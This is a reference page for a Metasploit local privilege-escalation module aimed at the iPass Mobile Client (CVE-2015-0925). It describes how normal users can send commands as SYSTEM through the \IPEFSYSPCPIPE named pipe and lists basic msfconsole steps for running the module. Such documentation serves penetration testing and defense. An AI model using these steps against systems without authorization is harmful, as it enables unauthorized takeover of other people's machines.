iPass Mobile Client Service Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/windows/local/ipass_launch_app metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: iPass Mobile Client Service Privilege Escalation
Module: exploit/windows/local/ipass_launch_app
Source code: modules/exploits/windows/local/ipass_launch_app.rb
Disclosure date: 2015-03-12
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-0925
The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact with the iPass service. The service provides a LaunchAppSysMode command which allows to execute arbitrary commands as SYSTEM.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/ipass_launch_app
msf exploit(ipass_launch_app) > show targets
... a list of targets ...
msf exploit(ipass_launch_app) > set TARGET target-id
msf exploit(ipass_launch_app) > show options
... show and set options ...
msf exploit(ipass_launch_app) > set SESSION session-id
msf exploit(ipass_launch_app) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the windows/local/ipass_launch_app exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/ipass_launch_app
